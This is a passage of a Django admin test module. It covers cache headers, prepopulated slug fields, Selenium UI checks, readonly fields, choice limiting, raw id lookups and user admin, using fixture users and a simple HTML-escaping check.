        self.assertEqual(Category.objects.get(id=4).order, 0)


@override_settings(ROOT_URLCONF='admin_views.urls')
class NeverCacheTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.s1 = Section.objects.create(name='Test section')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_admin_index(self):
        "Check the never-cache status of the main index"
        response = self.client.get(reverse('admin:index'))
        self.assertEqual(get_max_age(response), 0)

    def test_app_index(self):
        "Check the never-cache status of an application index"
        response = self.client.get(reverse('admin:app_list', args=('admin_views',)))
        self.assertEqual(get_max_age(response), 0)

    def test_model_index(self):
        "Check the never-cache status of a model index"
        response = self.client.get(reverse('admin:admin_views_fabric_changelist'))
        self.assertEqual(get_max_age(response), 0)

    def test_model_add(self):
        "Check the never-cache status of a model add page"
        response = self.client.get(reverse('admin:admin_views_fabric_add'))
        self.assertEqual(get_max_age(response), 0)

    def test_model_view(self):
        "Check the never-cache status of a model edit page"
        response = self.client.get(reverse('admin:admin_views_section_change', args=(self.s1.pk,)))
        self.assertEqual(get_max_age(response), 0)

    def test_model_history(self):
        "Check the never-cache status of a model history page"
        response = self.client.get(reverse('admin:admin_views_section_history', args=(self.s1.pk,)))
        self.assertEqual(get_max_age(response), 0)

    def test_model_delete(self):
        "Check the never-cache status of a model delete page"
        response = self.client.get(reverse('admin:admin_views_section_delete', args=(self.s1.pk,)))
        self.assertEqual(get_max_age(response), 0)

    def test_login(self):
        "Check the never-cache status of login views"
        self.client.logout()
        response = self.client.get(reverse('admin:index'))
        self.assertEqual(get_max_age(response), 0)

    def test_logout(self):
        "Check the never-cache status of logout view"
        response = self.client.get(reverse('admin:logout'))
        self.assertEqual(get_max_age(response), 0)

    def test_password_change(self):
        "Check the never-cache status of the password change view"
        self.client.logout()
        response = self.client.get(reverse('admin:password_change'))
        self.assertIsNone(get_max_age(response))

    def test_password_change_done(self):
        "Check the never-cache status of the password change done view"
        response = self.client.get(reverse('admin:password_change_done'))
        self.assertIsNone(get_max_age(response))

    def test_JS_i18n(self):
        "Check the never-cache status of the JavaScript i18n view"
        response = self.client.get(reverse('admin:jsi18n'))
        self.assertIsNone(get_max_age(response))


@override_settings(ROOT_URLCONF='admin_views.urls')
class PrePopulatedTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.p1 = PrePopulatedPost.objects.create(title='A Long Title', published=True, slug='a-long-title')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_prepopulated_on(self):
        response = self.client.get(reverse('admin:admin_views_prepopulatedpost_add'))
        self.assertContains(response, "&quot;id&quot;: &quot;#id_slug&quot;")
        self.assertContains(response, "&quot;dependency_ids&quot;: [&quot;#id_title&quot;]")
        self.assertContains(response, "&quot;id&quot;: &quot;#id_prepopulatedsubpost_set-0-subslug&quot;")

    def test_prepopulated_off(self):
        response = self.client.get(reverse('admin:admin_views_prepopulatedpost_change', args=(self.p1.pk,)))
        self.assertContains(response, "A Long Title")
        self.assertNotContains(response, "&quot;id&quot;: &quot;#id_slug&quot;")
        self.assertNotContains(response, "&quot;dependency_ids&quot;: [&quot;#id_title&quot;]")
        self.assertNotContains(
            response,
            "&quot;id&quot;: &quot;#id_prepopulatedsubpost_set-0-subslug&quot;"
        )

    @override_settings(USE_THOUSAND_SEPARATOR=True, USE_L10N=True)
    def test_prepopulated_maxlength_localized(self):
        """
        Regression test for #15938: if USE_THOUSAND_SEPARATOR is set, make sure
        that maxLength (in the JavaScript) is rendered without separators.
        """
        response = self.client.get(reverse('admin:admin_views_prepopulatedpostlargeslug_add'))
        self.assertContains(response, "&quot;maxLength&quot;: 1000")  # instead of 1,000


@override_settings(ROOT_URLCONF='admin_views.urls')
class SeleniumTests(AdminSeleniumTestCase):

    available_apps = ['admin_views'] + AdminSeleniumTestCase.available_apps

    def setUp(self):
        self.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        self.p1 = PrePopulatedPost.objects.create(title='A Long Title', published=True, slug='a-long-title')

    def test_prepopulated_fields(self):
        """
        Ensure that the JavaScript-automated prepopulated fields work with the
        main form and with stacked and tabular inlines.
        Refs #13068, #9264, #9983, #9784.
        """
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        self.selenium.get(self.live_server_url + reverse('admin:admin_views_mainprepopulated_add'))

        # Main form ----------------------------------------------------------
        self.selenium.find_element_by_id('id_pubdate').send_keys('2012-02-18')
        self.get_select_option('#id_status', 'option two').click()
        self.selenium.find_element_by_id('id_name').send_keys(' this is the mAin nÀMë and it\'s awεšomeııı')
        slug1 = self.selenium.find_element_by_id('id_slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_slug2').get_attribute('value')
        slug3 = self.selenium.find_element_by_id('id_slug3').get_attribute('value')
        self.assertEqual(slug1, 'main-name-and-its-awesomeiii-2012-02-18')
        self.assertEqual(slug2, 'option-two-main-name-and-its-awesomeiii')
        self.assertEqual(slug3, 'main-n\xe0m\xeb-and-its-aw\u03b5\u0161ome\u0131\u0131\u0131')

        # Stacked inlines ----------------------------------------------------
        # Initial inline
        self.selenium.find_element_by_id('id_relatedprepopulated_set-0-pubdate').send_keys('2011-12-17')
        self.get_select_option('#id_relatedprepopulated_set-0-status', 'option one').click()
        self.selenium.find_element_by_id('id_relatedprepopulated_set-0-name').send_keys(
            ' here is a sŤāÇkeð   inline !  '
        )
        slug1 = self.selenium.find_element_by_id('id_relatedprepopulated_set-0-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_relatedprepopulated_set-0-slug2').get_attribute('value')
        self.assertEqual(slug1, 'here-stacked-inline-2011-12-17')
        self.assertEqual(slug2, 'option-one-here-stacked-inline')

        # Add an inline
        self.selenium.find_elements_by_link_text('Add another Related prepopulated')[0].click()
        self.selenium.find_element_by_id('id_relatedprepopulated_set-1-pubdate').send_keys('1999-01-25')
        self.get_select_option('#id_relatedprepopulated_set-1-status', 'option two').click()
        self.selenium.find_element_by_id('id_relatedprepopulated_set-1-name').send_keys(
            ' now you haVe anöther   sŤāÇkeð  inline with a very ... '
            'loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooog text... '
        )
        slug1 = self.selenium.find_element_by_id('id_relatedprepopulated_set-1-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_relatedprepopulated_set-1-slug2').get_attribute('value')
        # 50 characters maximum for slug1 field
        self.assertEqual(slug1, 'now-you-have-another-stacked-inline-very-loooooooo')
        # 60 characters maximum for slug2 field
        self.assertEqual(slug2, 'option-two-now-you-have-another-stacked-inline-very-looooooo')

        # Tabular inlines ----------------------------------------------------
        # Initial inline
        self.selenium.find_element_by_id('id_relatedprepopulated_set-2-0-pubdate').send_keys('1234-12-07')
        self.get_select_option('#id_relatedprepopulated_set-2-0-status', 'option two').click()
        self.selenium.find_element_by_id('id_relatedprepopulated_set-2-0-name').send_keys(
            'And now, with a tÃbűlaŘ inline !!!'
        )
        slug1 = self.selenium.find_element_by_id('id_relatedprepopulated_set-2-0-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_relatedprepopulated_set-2-0-slug2').get_attribute('value')
        self.assertEqual(slug1, 'and-now-tabular-inline-1234-12-07')
        self.assertEqual(slug2, 'option-two-and-now-tabular-inline')

        # Add an inline
        self.selenium.find_elements_by_link_text('Add another Related prepopulated')[1].click()
        self.selenium.find_element_by_id('id_relatedprepopulated_set-2-1-pubdate').send_keys('1981-08-22')
        self.get_select_option('#id_relatedprepopulated_set-2-1-status', 'option one').click()
        self.selenium.find_element_by_id('id_relatedprepopulated_set-2-1-name').send_keys(
            'a tÃbűlaŘ inline with ignored ;"&*^\%$#@-/`~ characters'
        )
        slug1 = self.selenium.find_element_by_id('id_relatedprepopulated_set-2-1-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_relatedprepopulated_set-2-1-slug2').get_attribute('value')
        self.assertEqual(slug1, 'tabular-inline-ignored-characters-1981-08-22')
        self.assertEqual(slug2, 'option-one-tabular-inline-ignored-characters')

        # Save and check that everything is properly stored in the database
        self.selenium.find_element_by_xpath('//input[@value="Save"]').click()
        self.wait_page_loaded()
        self.assertEqual(MainPrepopulated.objects.all().count(), 1)
        MainPrepopulated.objects.get(
            name=' this is the mAin nÀMë and it\'s awεšomeııı',
            pubdate='2012-02-18',
            status='option two',
            slug1='main-name-and-its-awesomeiii-2012-02-18',
            slug2='option-two-main-name-and-its-awesomeiii',
        )
        self.assertEqual(RelatedPrepopulated.objects.all().count(), 4)
        RelatedPrepopulated.objects.get(
            name=' here is a sŤāÇkeð   inline !  ',
            pubdate='2011-12-17',
            status='option one',
            slug1='here-stacked-inline-2011-12-17',
            slug2='option-one-here-stacked-inline',
        )
        RelatedPrepopulated.objects.get(
            # 75 characters in name field
            name=' now you haVe anöther   sŤāÇkeð  inline with a very ... loooooooooooooooooo',
            pubdate='1999-01-25',
            status='option two',
            slug1='now-you-have-another-stacked-inline-very-loooooooo',
            slug2='option-two-now-you-have-another-stacked-inline-very-looooooo',
        )
        RelatedPrepopulated.objects.get(
            name='And now, with a tÃbűlaŘ inline !!!',
            pubdate='1234-12-07',
            status='option two',
            slug1='and-now-tabular-inline-1234-12-07',
            slug2='option-two-and-now-tabular-inline',
        )
        RelatedPrepopulated.objects.get(
            name='a tÃbűlaŘ inline with ignored ;"&*^\%$#@-/`~ characters',
            pubdate='1981-08-22',
            status='option one',
            slug1='tabular-inline-ignored-characters-1981-08-22',
            slug2='option-one-tabular-inline-ignored-characters',
        )

    def test_populate_existing_object(self):
        """
        Ensure that the prepopulation works for existing objects too, as long
        as the original field is empty.
        Refs #19082.
        """
        # Slugs are empty to start with.
        item = MainPrepopulated.objects.create(
            name=' this is the mAin nÀMë',
            pubdate='2012-02-18',
            status='option two',
            slug1='',
            slug2='',
        )
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))

        object_url = self.live_server_url + reverse('admin:admin_views_mainprepopulated_change', args=(item.id,))

        self.selenium.get(object_url)
        self.selenium.find_element_by_id('id_name').send_keys(' the best')

        # The slugs got prepopulated since they were originally empty
        slug1 = self.selenium.find_element_by_id('id_slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_slug2').get_attribute('value')
        self.assertEqual(slug1, 'main-name-best-2012-02-18')
        self.assertEqual(slug2, 'option-two-main-name-best')

        # Save the object
        self.selenium.find_element_by_xpath('//input[@value="Save"]').click()
        self.wait_page_loaded()

        self.selenium.get(object_url)
        self.selenium.find_element_by_id('id_name').send_keys(' hello')

        # The slugs got prepopulated didn't change since they were originally not empty
        slug1 = self.selenium.find_element_by_id('id_slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_slug2').get_attribute('value')
        self.assertEqual(slug1, 'main-name-best-2012-02-18')
        self.assertEqual(slug2, 'option-two-main-name-best')

    def test_collapsible_fieldset(self):
        """
        Test that the 'collapse' class in fieldsets definition allows to
        show/hide the appropriate field section.
        """
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        self.selenium.get(self.live_server_url + reverse('admin:admin_views_article_add'))
        self.assertFalse(self.selenium.find_element_by_id('id_title').is_displayed())
        self.selenium.find_elements_by_link_text('Show')[0].click()
        self.assertTrue(self.selenium.find_element_by_id('id_title').is_displayed())
        self.assertEqual(self.selenium.find_element_by_id('fieldsetcollapser0').text, "Hide")

    def test_first_field_focus(self):
        """JavaScript-assisted auto-focus on first usable form field."""
        # First form field has a single widget
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        self.selenium.get(self.live_server_url + reverse('admin:admin_views_picture_add'))
        self.assertEqual(
            self.selenium.switch_to.active_element,
            self.selenium.find_element_by_id('id_name')
        )

        # First form field has a MultiWidget
        self.selenium.get(self.live_server_url + reverse('admin:admin_views_reservation_add'))
        self.assertEqual(
            self.selenium.switch_to.active_element,
            self.selenium.find_element_by_id('id_start_date_0')
        )

    def test_cancel_delete_confirmation(self):
        "Cancelling the deletion of an object takes the user back one page."
        pizza = Pizza.objects.create(name="Double Cheese")
        url = reverse('admin:admin_views_pizza_change', args=(pizza.id,))
        full_url = self.live_server_url + url
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        self.selenium.get(full_url)
        self.selenium.find_element_by_class_name('deletelink').click()
        # Click 'cancel' on the delete page.
        self.selenium.find_element_by_class_name('cancel-link').click()
        # Wait until we're back on the change page.
        self.wait_for_text('#content h1', 'Change pizza')
        self.assertEqual(self.selenium.current_url, full_url)
        self.assertEqual(Pizza.objects.count(), 1)

    def test_cancel_delete_related_confirmation(self):
        """
        Cancelling the deletion of an object with relations takes the user back
        one page.
        """
        pizza = Pizza.objects.create(name="Double Cheese")
        topping1 = Topping.objects.create(name="Cheddar")
        topping2 = Topping.objects.create(name="Mozzarella")
        pizza.toppings.add(topping1, topping2)
        url = reverse('admin:admin_views_pizza_change', args=(pizza.id,))
        full_url = self.live_server_url + url
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        self.selenium.get(full_url)
        self.selenium.find_element_by_class_name('deletelink').click()
        # Click 'cancel' on the delete page.
        self.selenium.find_element_by_class_name('cancel-link').click()
        # Wait until we're back on the change page.
        self.wait_for_text('#content h1', 'Change pizza')
        self.assertEqual(self.selenium.current_url, full_url)
        self.assertEqual(Pizza.objects.count(), 1)
        self.assertEqual(Topping.objects.count(), 2)

    def test_list_editable_popups(self):
        """
        list_editable foreign keys have add/change popups.
        """
        from selenium.webdriver.support.ui import Select
        s1 = Section.objects.create(name='Test section')
        Article.objects.create(
            title='foo',
            content='<p>Middle content</p>',
            date=datetime.datetime(2008, 3, 18, 11, 54, 58),
            section=s1,
        )
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        self.selenium.get(self.live_server_url + reverse('admin:admin_views_article_changelist'))
        # Change popup
        self.selenium.find_element_by_id('change_id_form-0-section').click()
        self.wait_for_popup()
        self.selenium.switch_to.window(self.selenium.window_handles[-1])
        self.wait_for_text('#content h1', 'Change section')
        name_input = self.selenium.find_element_by_id('id_name')
        name_input.clear()
        name_input.send_keys('<i>edited section</i>')
        self.selenium.find_element_by_xpath('//input[@value="Save"]').click()
        self.selenium.switch_to.window(self.selenium.window_handles[0])
        select = Select(self.selenium.find_element_by_id('id_form-0-section'))
        self.assertEqual(select.first_selected_option.text, '<i>edited section</i>')

        # Add popup
        self.selenium.find_element_by_id('add_id_form-0-section').click()
        self.wait_for_popup()
        self.selenium.switch_to.window(self.selenium.window_handles[-1])
        self.wait_for_text('#content h1', 'Add section')
        self.selenium.find_element_by_id('id_name').send_keys('new section')
        self.selenium.find_element_by_xpath('//input[@value="Save"]').click()
        self.selenium.switch_to.window(self.selenium.window_handles[0])
        select = Select(self.selenium.find_element_by_id('id_form-0-section'))
        self.assertEqual(select.first_selected_option.text, 'new section')

    def test_inline_uuid_pk_edit_with_popup(self):
        from selenium.webdriver.support.ui import Select
        parent = ParentWithUUIDPK.objects.create(title='test')
        related_with_parent = RelatedWithUUIDPKModel.objects.create(parent=parent)
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        change_url = reverse('admin:admin_views_relatedwithuuidpkmodel_change', args=(related_with_parent.id,))
        self.selenium.get(self.live_server_url + change_url)
        self.selenium.find_element_by_id('change_id_parent').click()
        self.wait_for_popup()
        self.selenium.switch_to.window(self.selenium.window_handles[-1])
        self.selenium.find_element_by_xpath('//input[@value="Save"]').click()
        self.selenium.switch_to.window(self.selenium.window_handles[0])
        select = Select(self.selenium.find_element_by_id('id_parent'))
        self.assertEqual(select.first_selected_option.text, str(parent.id))
        self.assertEqual(select.first_selected_option.get_attribute('value'), str(parent.id))

    def test_inline_uuid_pk_add_with_popup(self):
        from selenium.webdriver.support.ui import Select
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        self.selenium.get(self.live_server_url + reverse('admin:admin_views_relatedwithuuidpkmodel_add'))
        self.selenium.find_element_by_id('add_id_parent').click()
        self.wait_for_popup()
        self.selenium.switch_to.window(self.selenium.window_handles[-1])
        self.selenium.find_element_by_id('id_title').send_keys('test')
        self.selenium.find_element_by_xpath('//input[@value="Save"]').click()
        self.selenium.switch_to.window(self.selenium.window_handles[0])
        select = Select(self.selenium.find_element_by_id('id_parent'))
        uuid_id = str(ParentWithUUIDPK.objects.first().id)
        self.assertEqual(select.first_selected_option.text, uuid_id)
        self.assertEqual(select.first_selected_option.get_attribute('value'), uuid_id)

    def test_inline_uuid_pk_delete_with_popup(self):
        from selenium.webdriver.support.ui import Select
        parent = ParentWithUUIDPK.objects.create(title='test')
        related_with_parent = RelatedWithUUIDPKModel.objects.create(parent=parent)
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        change_url = reverse('admin:admin_views_relatedwithuuidpkmodel_change', args=(related_with_parent.id,))
        self.selenium.get(self.live_server_url + change_url)
        self.selenium.find_element_by_id('delete_id_parent').click()
        self.wait_for_popup()
        self.selenium.switch_to.window(self.selenium.window_handles[-1])
        self.selenium.find_element_by_xpath('//input[@value="Yes, I\'m sure"]').click()
        self.selenium.switch_to.window(self.selenium.window_handles[0])
        select = Select(self.selenium.find_element_by_id('id_parent'))
        self.assertEqual(ParentWithUUIDPK.objects.count(), 0)
        self.assertEqual(select.first_selected_option.text, '---------')
        self.assertEqual(select.first_selected_option.get_attribute('value'), '')

    def test_list_editable_raw_id_fields(self):
        parent = ParentWithUUIDPK.objects.create(title='test')
        parent2 = ParentWithUUIDPK.objects.create(title='test2')
        RelatedWithUUIDPKModel.objects.create(parent=parent)
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        change_url = reverse('admin:admin_views_relatedwithuuidpkmodel_changelist', current_app=site2.name)
        self.selenium.get(self.live_server_url + change_url)
        self.selenium.find_element_by_id('lookup_id_form-0-parent').click()
        self.wait_for_popup()
        self.selenium.switch_to.window(self.selenium.window_handles[-1])
        # Select "parent2" in the popup.
        self.selenium.find_element_by_link_text(str(parent2.pk)).click()
        self.selenium.switch_to.window(self.selenium.window_handles[0])
        # The newly selected pk should appear in the raw id input.
        value = self.selenium.find_element_by_id('id_form-0-parent').get_attribute('value')
        self.assertEqual(value, str(parent2.pk))


@override_settings(ROOT_URLCONF='admin_views.urls')
class ReadonlyTest(AdminFieldExtractionMixin, TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)

    @ignore_warnings(category=RemovedInDjango20Warning)  # for allow_tags deprecation
    def test_readonly_get(self):
        response = self.client.get(reverse('admin:admin_views_post_add'))
        self.assertEqual(response.status_code, 200)
        self.assertNotContains(response, 'name="posted"')
        # 3 fields + 2 submit buttons + 5 inline management form fields, + 2
        # hidden fields for inlines + 1 field for the inline + 2 empty form
        self.assertContains(response, "<input", count=15)
        self.assertContains(response, formats.localize(datetime.date.today()))
        self.assertContains(response, "<label>Awesomeness level:</label>")
        self.assertContains(response, "Very awesome.")
        self.assertContains(response, "Unknown coolness.")
        self.assertContains(response, "foo")

        # Checks that multiline text in a readonly field gets <br /> tags
        self.assertContains(response, "Multiline<br />test<br />string")
        self.assertContains(response, "<p>Multiline<br />html<br />content</p>", html=True)
        self.assertContains(response, "InlineMultiline<br />test<br />string")
        # Remove only this last line when the deprecation completes.
        self.assertContains(response, "<p>Multiline<br />html<br />content<br />with allow tags</p>", html=True)

        self.assertContains(response, formats.localize(datetime.date.today() - datetime.timedelta(days=7)))

        self.assertContains(response, '<div class="form-row field-coolness">')
        self.assertContains(response, '<div class="form-row field-awesomeness_level">')
        self.assertContains(response, '<div class="form-row field-posted">')
        self.assertContains(response, '<div class="form-row field-value">')
        self.assertContains(response, '<div class="form-row">')
        self.assertContains(response, '<p class="help">', 3)
        self.assertContains(
            response,
            '<p class="help">Some help text for the title (with unicode ŠĐĆŽćžšđ)</p>',
            html=True
        )
        self.assertContains(
            response,
            '<p class="help">Some help text for the content (with unicode ŠĐĆŽćžšđ)</p>',
            html=True
        )
        self.assertContains(
            response,
            '<p class="help">Some help text for the date (with unicode ŠĐĆŽćžšđ)</p>',
            html=True
        )

        p = Post.objects.create(title="I worked on readonly_fields", content="Its good stuff")
        response = self.client.get(reverse('admin:admin_views_post_change', args=(p.pk,)))
        self.assertContains(response, "%d amount of cool" % p.pk)

    @ignore_warnings(category=RemovedInDjango20Warning)  # for allow_tags deprecation
    def test_readonly_text_field(self):
        p = Post.objects.create(
            title="Readonly test", content="test",
            readonly_content='test\r\n\r\ntest\r\n\r\ntest\r\n\r\ntest',
        )
        Link.objects.create(
            url="http://www.djangoproject.com", post=p,
            readonly_link_content="test\r\nlink",
        )
        response = self.client.get(reverse('admin:admin_views_post_change', args=(p.pk,)))
        # Checking readonly field.
        self.assertContains(response, 'test<br /><br />test<br /><br />test<br /><br />test')
        # Checking readonly field in inline.
        self.assertContains(response, 'test<br />link')

    def test_readonly_post(self):
        data = {
            "title": "Django Got Readonly Fields",
            "content": "This is an incredible development.",
            "link_set-TOTAL_FORMS": "1",
            "link_set-INITIAL_FORMS": "0",
            "link_set-MAX_NUM_FORMS": "0",
        }
        response = self.client.post(reverse('admin:admin_views_post_add'), data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(Post.objects.count(), 1)
        p = Post.objects.get()
        self.assertEqual(p.posted, datetime.date.today())

        data["posted"] = "10-8-1990"  # some date that's not today
        response = self.client.post(reverse('admin:admin_views_post_add'), data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(Post.objects.count(), 2)
        p = Post.objects.order_by('-id')[0]
        self.assertEqual(p.posted, datetime.date.today())

    def test_readonly_manytomany(self):
        "Regression test for #13004"
        response = self.client.get(reverse('admin:admin_views_pizza_add'))
        self.assertEqual(response.status_code, 200)

    def test_user_password_change_limited_queryset(self):
        su = User.objects.filter(is_superuser=True)[0]
        response = self.client.get(reverse('admin2:auth_user_password_change', args=(su.pk,)))
        self.assertEqual(response.status_code, 404)

    def test_change_form_renders_correct_null_choice_value(self):
        """
        Regression test for #17911.
        """
        choice = Choice.objects.create(choice=None)
        response = self.client.get(reverse('admin:admin_views_choice_change', args=(choice.pk,)))
        self.assertContains(response, '<p>No opinion</p>', html=True)
        self.assertNotContains(response, '<p>(None)</p>')

    def test_readonly_manytomany_backwards_ref(self):
        """
        Regression test for #16433 - backwards references for related objects
        broke if the related field is read-only due to the help_text attribute
        """
        topping = Topping.objects.create(name='Salami')
        pizza = Pizza.objects.create(name='Americano')
        pizza.toppings.add(topping)
        response = self.client.get(reverse('admin:admin_views_topping_add'))
        self.assertEqual(response.status_code, 200)

    def test_readonly_onetoone_backwards_ref(self):
        """
        Can reference a reverse OneToOneField in ModelAdmin.readonly_fields.
        """
        v1 = Villain.objects.create(name='Adam')
        pl = Plot.objects.create(name='Test Plot', team_leader=v1, contact=v1)
        pd = PlotDetails.objects.create(details='Brand New Plot', plot=pl)

        response = self.client.get(reverse('admin:admin_views_plotproxy_change', args=(pl.pk,)))
        field = self.get_admin_readonly_field(response, 'plotdetails')
        self.assertEqual(field.contents(), 'Brand New Plot')

        # The reverse relation also works if the OneToOneField is null.
        pd.plot = None
        pd.save()

        response = self.client.get(reverse('admin:admin_views_plotproxy_change', args=(pl.pk,)))
        field = self.get_admin_readonly_field(response, 'plotdetails')
        self.assertEqual(field.contents(), '-')  # default empty value

    @ignore_warnings(category=RemovedInDjango20Warning)  # for allow_tags deprecation
    def test_readonly_field_overrides(self):
        """
        Regression test for #22087 - ModelForm Meta overrides are ignored by
        AdminReadonlyField
        """
        p = FieldOverridePost.objects.create(title="Test Post", content="Test Content")
        response = self.client.get(reverse('admin:admin_views_fieldoverridepost_change', args=(p.pk,)))
        self.assertContains(response, '<p class="help">Overridden help text for the date</p>')
        self.assertContains(response, '<label for="id_public">Overridden public label:</label>', html=True)
        self.assertNotContains(response, "Some help text for the date (with unicode ŠĐĆŽćžšđ)")

    def test_correct_autoescaping(self):
        """
        Make sure that non-field readonly elements are properly autoescaped (#24461)
        """
        section = Section.objects.create(name='<a>evil</a>')
        response = self.client.get(reverse('admin:admin_views_section_change', args=(section.pk,)))
        self.assertNotContains(response, "<a>evil</a>", status_code=200)
        self.assertContains(response, "&lt;a&gt;evil&lt;/a&gt;", status_code=200)


@override_settings(ROOT_URLCONF='admin_views.urls')
class LimitChoicesToInAdminTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_limit_choices_to_as_callable(self):
        """Test for ticket 2445 changes to admin."""
        threepwood = Character.objects.create(
            username='threepwood',
            last_action=datetime.datetime.today() + datetime.timedelta(days=1),
        )
        marley = Character.objects.create(
            username='marley',
            last_action=datetime.datetime.today() - datetime.timedelta(days=1),
        )
        response = self.client.get(reverse('admin:admin_views_stumpjoke_add'))
        # The allowed option should appear twice; the limited option should not appear.
        self.assertContains(response, threepwood.username, count=2)
        self.assertNotContains(response, marley.username)


@override_settings(ROOT_URLCONF='admin_views.urls')
class RawIdFieldsTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_limit_choices_to(self):
        """Regression test for 14880"""
        actor = Actor.objects.create(name="Palin", age=27)
        Inquisition.objects.create(expected=True,
                                   leader=actor,
                                   country="England")
        Inquisition.objects.create(expected=False,
                                   leader=actor,
                                   country="Spain")
        response = self.client.get(reverse('admin:admin_views_sketch_add'))
        # Find the link
        m = re.search(br'<a href="([^"]*)"[^>]* id="lookup_id_inquisition"', response.content)
        self.assertTrue(m)  # Got a match
        popup_url = m.groups()[0].decode().replace("&amp;", "&")

        # Handle relative links
        popup_url = urljoin(response.request['PATH_INFO'], popup_url)
        # Get the popup and verify the correct objects show up in the resulting
        # page. This step also tests integers, strings and booleans in the
        # lookup query string; in model we define inquisition field to have a
        # limit_choices_to option that includes a filter on a string field
        # (inquisition__actor__name), a filter on an integer field
        # (inquisition__actor__age), and a filter on a boolean field
        # (inquisition__expected).
        response2 = self.client.get(popup_url)
        self.assertContains(response2, "Spain")
        self.assertNotContains(response2, "England")

    def test_limit_choices_to_isnull_false(self):
        """Regression test for 20182"""
        Actor.objects.create(name="Palin", age=27)
        Actor.objects.create(name="Kilbraken", age=50, title="Judge")
        response = self.client.get(reverse('admin:admin_views_sketch_add'))
        # Find the link
        m = re.search(br'<a href="([^"]*)"[^>]* id="lookup_id_defendant0"', response.content)
        self.assertTrue(m)  # Got a match
        popup_url = m.groups()[0].decode().replace("&amp;", "&")

        # Handle relative links
        popup_url = urljoin(response.request['PATH_INFO'], popup_url)
        # Get the popup and verify the correct objects show up in the resulting
        # page. This step tests field__isnull=0 gets parsed correctly from the
        # lookup query string; in model we define defendant0 field to have a
        # limit_choices_to option that includes "actor__title__isnull=False".
        response2 = self.client.get(popup_url)
        self.assertContains(response2, "Kilbraken")
        self.assertNotContains(response2, "Palin")

    def test_limit_choices_to_isnull_true(self):
        """Regression test for 20182"""
        Actor.objects.create(name="Palin", age=27)
        Actor.objects.create(name="Kilbraken", age=50, title="Judge")
        response = self.client.get(reverse('admin:admin_views_sketch_add'))
        # Find the link
        m = re.search(br'<a href="([^"]*)"[^>]* id="lookup_id_defendant1"', response.content)
        self.assertTrue(m)  # Got a match
        popup_url = m.groups()[0].decode().replace("&amp;", "&")

        # Handle relative links
        popup_url = urljoin(response.request['PATH_INFO'], popup_url)
        # Get the popup and verify the correct objects show up in the resulting
        # page. This step tests field__isnull=1 gets parsed correctly from the
        # lookup query string; in model we define defendant1 field to have a
        # limit_choices_to option that includes "actor__title__isnull=True".
        response2 = self.client.get(popup_url)
        self.assertNotContains(response2, "Kilbraken")
        self.assertContains(response2, "Palin")

    def test_list_display_method_same_name_as_reverse_accessor(self):
        """
        Should be able to use a ModelAdmin method in list_display that has the
        same name as a reverse model field ("sketch" in this case).
        """
        actor = Actor.objects.create(name="Palin", age=27)
        Inquisition.objects.create(expected=True, leader=actor, country="England")
        response = self.client.get(reverse('admin:admin_views_inquisition_changelist'))
        self.assertContains(response, 'list-display-sketch')


@override_settings(ROOT_URLCONF='admin_views.urls')
class UserAdminTest(TestCase):
    """
    Tests user CRUD functionality.
    """

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.adduser = User.objects.create_user(username='adduser', password='secret', is_staff=True)
        cls.changeuser = User.objects.create_user(username='changeuser', password='secret', is_staff=True)
        cls.s1 = Section.objects.create(name='Test section')
        cls.a1 = Article.objects.create(
            content='<p>Middle content</p>', date=datetime.datetime(2008, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a2 = Article.objects.create(
            content='<p>Oldest content</p>', date=datetime.datetime(2000, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a3 = Article.objects.create(
            content='<p>Newest content</p>', date=datetime.datetime(2009, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.p1 = PrePopulatedPost.objects.create(title='A Long Title', published=True, slug='a-long-title')

        cls.per1 = Person.objects.create(name='John Mauchly', gender=1, alive=True)
        cls.per2 = Person.objects.create(name='Grace Hopper', gender=1, alive=False)
        cls.per3 = Person.objects.create(name='Guido van Rossum', gender=1, alive=True)

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_save_button(self):
        user_count = User.objects.count()
        response = self.client.post(reverse('admin:auth_user_add'), {
            'username': 'newuser',
            'password1': 'newpassword',
            'password2': 'newpassword',
        })
        new_user = User.objects.get(username='newuser')
